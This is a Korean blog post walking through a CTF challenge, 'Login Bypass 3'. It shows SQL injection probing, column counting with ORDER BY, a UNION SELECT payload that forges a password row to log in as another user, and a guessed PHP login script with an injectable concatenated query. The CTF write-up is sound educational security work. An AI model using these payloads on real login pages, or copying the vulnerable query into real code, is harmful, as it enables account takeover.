Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- blind sql injection
- css
- cookie 탈취
- MySQL
- 로그인
- sql injection point
- lord of sql injection
- 문제 풀이
- 보고서
- Los
- 웹개발
- 모의해킹
- php
- union sql injection
- file upload
- 로그인페이지
- 웹 해킹
- Python
- sql injection
- 게시판 만들기
- 세션
- csrf
- 과제
- JS
- 증적 사진
- 웹 개발
- CTF
- Error based sql injection
- XSS
- 보안 패치
Archives
- Today
- Total
Almon Dev
ctf 풀이 (Login Bypass 3) 본문
ctf 문제풀이
Login Bypass 3
풀이
1> doldol / dol1234로 로그인해봅니다.
2> 리피터를 통해서 sql injection 확인해 보기
id는 sql injection이 가능하고, password는 불가능합니다.
3> sql injection을 통해 가져오는 컬럼 개수 확인해보기 (컬럼은 2개)
ex) UserId=doldol' order by 2 desc#
4> 로그인 코드 예상해 보기
$sql = "select password,nickname from member where id='$input_id'";
if( $input_pass == $db_pass ) {
// 로그인
}
5> normaltic3로 로그인해보기 (union 사용)
UserId=doldol'+union+select+'normaltic3',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
union은 selct를 여러번 할때 결과를 합쳐서 하나의 테이블로 만들어줍니다.
=> 컬럼의 개수가 동일해야 합니다.
sql 예상
select nickname, password from member
where id='doldol'
union select 'normaltic3', '1234' order by 2 asc#'
예상 sql 결과
index | 닉네임 | 비밀번호 |
0 | normaltic3 | 1234 |
1 | doldol | dol1234 |
order by 2 asc로 비밀번호를 기준으로 오름차순 정렬을 해서 normaltic3 닉네임이 위로 오게 만들었습니다.
로그인 php 코드 예상
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];
if($input_pass == $db_pass) {
// 로그인 성공
echo $nickname;
}else {
// 로그인 실패
echo 'fail';
}
'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글
ctf 풀이 (SQL Injection 1) (0) | 2024.11.23 |
---|---|
ctf 풀이 (Pin Code Crack) (2) | 2024.11.20 |
ctf 풀이 (admin is mine) (1) | 2024.11.19 |
ctf 풀이 (Secret Login) (2) | 2024.11.18 |
ctf 풀이 (Login Bypass 4) (0) | 2024.11.18 |